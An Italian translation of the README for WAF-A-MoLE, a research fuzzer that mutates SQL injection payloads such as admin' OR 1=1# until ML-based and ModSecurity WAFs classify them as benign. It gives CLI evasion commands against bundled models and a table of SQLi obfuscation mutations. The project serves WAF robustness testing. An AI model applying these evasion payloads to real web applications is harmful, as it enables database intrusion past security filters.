
Un fuzzer guidato basato su mutazioni per Web Application Firewall basati su ML.
Un fuzzer guidato basato su mutazioni per Web Application Firewall basati su Machine Learning, ispirato ad AFL e basato sul FuzzingBook di Andreas Zeller e collaboratori.
Data una query di SQL injection come input, tenta di produrre una query semanticamente invariante in grado di bypassare il WAF target. Puoi utilizzare questo strumento per valutare la robustezza del tuo prodotto lasciando che WAF-A-MoLE esplori lo spazio delle soluzioni per trovare pericolosi "punti ciechi" lasciati scoperti dal classificatore target.

WAF-A-MoLE prende un payload iniziale e lo inserisce nel Pool dei payload, che gestisce una coda di priorità ordinata per punteggio di confidenza del WAF su ciascun payload.
Durante ogni iterazione, la testa del Pool dei payload viene passata al Fuzzer, dove viene mutata casualmente applicando uno degli operatori di mutazione disponibili.
Gli operatori di mutazione preservano tutti la semantica e sfruttano l'elevata potenza espressiva del linguaggio SQL (in questa versione, MySQL).
Di seguito sono elencati gli operatori di mutazione disponibili nella versione corrente di WAF-A-MoLE.
WAF-A-MoLE implementa la metodologia presentata in "WAF-A-MoLE: Evading Web Application Firewalls through Adversarial Machine Learning". Una pre-stampa del nostro articolo è disponibile anche su arXiv.
Se desideri citarci, utilizza il seguente riferimento (BibTeX):
@inproceedings{demetrio20wafamole,
title={WAF-A-MoLE: evading web application firewalls through adversarial machine learning},
author={Demetrio, Luca and Valenza, Andrea and Costa, Gabriele and Lagorio, Giovanni},
booktitle={Proceedings of the 35th Annual ACM Symposium on Applied Computing},
pages={1745--1752},
year={2020}
}
pip install -r requirements.txt
Puoi valutare la robustezza del tuo WAF personalizzato, oppure provare WAF-A-MoLE contro alcuni classificatori di esempio. Nel primo caso, dai un'occhiata alla classe Model. Il tuo modello personalizzato deve implementare questa classe per poter essere valutato da WAF-A-MoLE. Forniamo già wrapper per i classificatori di sci-kit learn e keras che possono essere estesi per adattarsi alla tua fase di estrazione delle caratteristiche (se presente).
wafamole --help
Usage: wafamole [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
evade Launch WAF-A-MoLE against a target classifier.
wafamole evade --help
Usage: wafamole evade [OPTIONS] MODEL_PATH PAYLOAD
Launch WAF-A-MoLE against a target classifier.
Options:
-T, --model-type TEXT Type of classifier to load
-t, --timeout INTEGER Timeout when evading the model
-r, --max-rounds INTEGER Maximum number of fuzzing rounds
-s, --round-size INTEGER Fuzzing step size for each round (parallel fuzzing
steps)
--threshold FLOAT Classification threshold of the target WAF [0.5]
--random-engine TEXT Use random transformations instead of evolution
engine. Set the number of trials
--output-path TEXT Location were to save the results of the random
engine. NOT USED WITH REGULAR EVOLUTION ENGINE
--help Show this message and exit.
Forniamo alcuni modelli pre-addestrati con cui divertirti, situati in wafamole/models/custom/example_models. I classificatori utilizzati sono elencati nella tabella seguente.
Oltre ai WAF basati su ML, WAF-a-MoLE supporta anche WAF basati su regole. In particolare, fornisce un wrapper per il WAF ModSecurity dotato di OWASP Core Rule Set (CRS), basato sul progetto pymodsecurity.
Bypassa il classificatore WAF-Brain pre-addestrato utilizzando un equivalente di admin' OR 1=1#.
wafamole evade --model-type waf-brain wafamole/models/custom/example_models/waf-brain.h5 "admin' OR 1=1#"
Bypassa il classificatore SVM ML-Based-WAF pre-addestrato utilizzando un equivalente di admin' OR 1=1#.
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc.dump "admin' OR 1=1#"
Bypassa il classificatore SVM ML-Based-WAF pre-addestrato utilizzando un equivalente di admin' OR 1=1#. Nota che SQLiV5 è un dataset proveniente da Kaggle ampliato con una serie di query generate da WAF-A-MoLE stesso, come prova di concetto che le query di WAF-A-MoLE possono migliorare la robustezza di un WAF con ri-addestramento. Usa mlbasedwaf_svc_sqliv3.dump per bypassare il WAF addestrato con il dataset Kaggle originale (SQLiV3).
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc_sqliv5.dump "admin' OR 1=1#"
Bypassa il classificatore SGD ML-Based-WAF pre-addestrato utilizzando un equivalente di admin' OR 1=1#.
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_sgd.dump "admin' OR 1=1#"
Bypassa il classificatore AdaBoost ML-Based-WAF pre-addestrato utilizzando un equivalente di admin' OR 1=1# (richiede più tempo rispetto ad altri modelli, circa 2-5 minuti di esecuzione).
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_ada.dump "admin' OR 1=1#"
Bypassa il classificatore Naive Bayes basato su token pre-addestrato utilizzando un equivalente di admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/naive_bayes_trained.dump "admin' OR 1=1#"
Bypassa il classificatore Random Forest basato su token pre-addestrato utilizzando un equivalente di admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/random_forest_trained.dump "admin' OR 1=1#"
Bypassa il classificatore SVM Lineare basato su token pre-addestrato utilizzando un equivalente di admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/lin_svm_trained.dump "admin' OR 1=1#"
Bypassa il classificatore SVM Gaussiano basato su token pre-addestrato utilizzando un equivalente di admin' OR 1=1#.
wafamole evade --model-type token wafamole/models/custom/example_models/gauss_svm_trained.dump "admin' OR 1=1#"
Bypassa il classificatore SQLiGOT pre-addestrato utilizzando un equivalente di admin' OR 1=1#.
Usa DP, UP, DU o UU rispettivamente per Proporzionale Diretto, Proporzionale Non Diretto, Non Proporzionale Diretto e Non Proporzionale Non Diretto.
wafamole evade --model-type DP wafamole/models/custom/example_models/graph_directed_proportional_sqligot "admin' OR 1=1#"
Bypassa l'OWASP ModSecurity CRS utilizzando un equivalente di admin' OR 1=1#.
L'utente deve inoltre specificare il Livello di Paranoia e il percorso per individuare le regole CRS (es., /etc/coreruleset).
wafamole evade --model-type modsecurity_pl[1-4] /etc/coreruleset "admin' OR 1=1#"
PRIMA DI AVVIARE LA VALUTAZIONE SU SQLiGoT
Questi classificatori sono più robusti degli altri, poiché la fase di estrazione delle caratteristiche produce vettori con una struttura più complessa, e tutti i classificatori pre-addestrati sono stati fortemente regolarizzati. Potrebbero essere necessarie ore per alcune varianti per produrre un payload che raggiunga l'evasione (vedi sezione Benchmark).
Nota sui modelli più recenti di ML-Based-WAF
Alcuni modelli basati su una versione leggermente modificata di ML-Based-WAF di vladan-stojnic sono stati aggiunti di recente, da un'estensione di WAF-A-MoLE chiamata wafamole++ di nidnogg. Testare il modello AdaBoost potrebbe richiedere più tempo del solito (di solito 2-5 minuti).
Esistono varianti addestrate con il dataset SQLiV5.json, mentre la maggior parte utilizza per impostazione predefinita la SQL injection originale dal dataset di WAF-A-MoLE.
Un notebook di Google Colaboratory viene fornito con le routine di addestramento per alcuni di questi modelli, utilizzando il dataset originale di WAF-A-MoLE (modificato nel formato SQLiV5). È possibile utilizzare qualsiasi dataset purché sia nello stesso formato di SQLiV5.json.
Per prima cosa, crea una classe Model personalizzata che implementi i metodi extract_features e classify.
class YourCustomModel(Model):
def extract_features(self, value: str):
# TODO: extract features
feature_vector = your_custom_feature_function(value)
return feature_vector
def classify(self, value):
# TODO: compute confidence
confidence = your_confidence_eval(value)
return confidence
Quindi, crea un oggetto dal modello e istanzia un oggetto engine che utilizza la tua classe modello.
model = YourCustomModel() #your init
engine = EvasionEngine(model)
result = engine.evaluate(payload, max_rounds, round_size, timeout, threshold)
Abbiamo valutato WAF-A-MoLE contro tutti i nostri modelli di esempio.
Il grafico seguente mostra il tempo impiegato da WAF-A-MoLE per mutare il payload admin' OR 1=1# fino a quando non è stato accettato da ciascun classificatore come benigno.
Sull'asse x abbiamo il tempo (in secondi, scala logaritmica). Sull'asse y abbiamo il valore di confidenza, ovvero quanto un classificatore è sicuro che un dato payload sia una SQL injection (in percentuale).
Nota che essere "sicuro al 50%" che un payload sia una SQL injection equivale al lancio di una moneta. Questa è la soglia di classificazione usuale: se la confidenza è inferiore, il payload viene classificato come benigno.

Gli esperimenti sono stati eseguiti su DigitalOcean Standard Droplets.
Domande, segnalazioni di bug e pull request sono benvenuti.
In particolare, se sei interessato ad espandere questo progetto, cerchiamo i seguenti contributi:
| Mutazione | Esempio |
|---|
| Scambio di maiuscole/minuscole | admin' OR 1=1# ⇒ admin' oR 1=1# |
| Sostituzione di spazi bianchi | admin' OR 1=1# ⇒ admin'\t\rOR\n1=1# |
| Iniezione di commenti | admin' OR 1=1# ⇒ admin'/**/OR 1=1# |
| Riscrittura di commenti | admin'/**/OR 1=1# ⇒ admin'/*xyz*/OR 1=1#abc |
| Codifica intera | admin' OR 1=1# ⇒ admin' OR 0x1=(SELECT 1)# |
| Scambio di operatori | admin' OR 1=1# ⇒ admin' OR 1 LIKE 1# |
| Invarianza logica | admin' OR 1=1# ⇒ admin' OR 1=1 AND 0<1# |
| Rimescolamento di numeri | admin' OR 1=1# ⇒ admin' OR 2=2# |
| Nome classificatore | Algoritmo |
|---|
| WafBrain | Rete Neurale Ricorrente |
| ML-Based-WAF | SVM Non Lineare |
| ML-Based-WAF | Stochastic Gradient Descent |
| ML-Based-WAF | AdaBoost |
| Basato su token | Naive Bayes |
| Basato su token | Random Forest |
| Basato su token | SVM Lineare |
| Basato su token | SVM Gaussiano |
| SQLiGoT - Proporzionale Diretto | SVM Gaussiano |
| SQLiGoT - Non Proporzionale Diretto | SVM Gaussiano |
| SQLiGoT - Proporzionale Non Diretto | SVM Gaussiano |
| SQLiGoT - Non Proporzionale Non Diretto | SVM Gaussiano |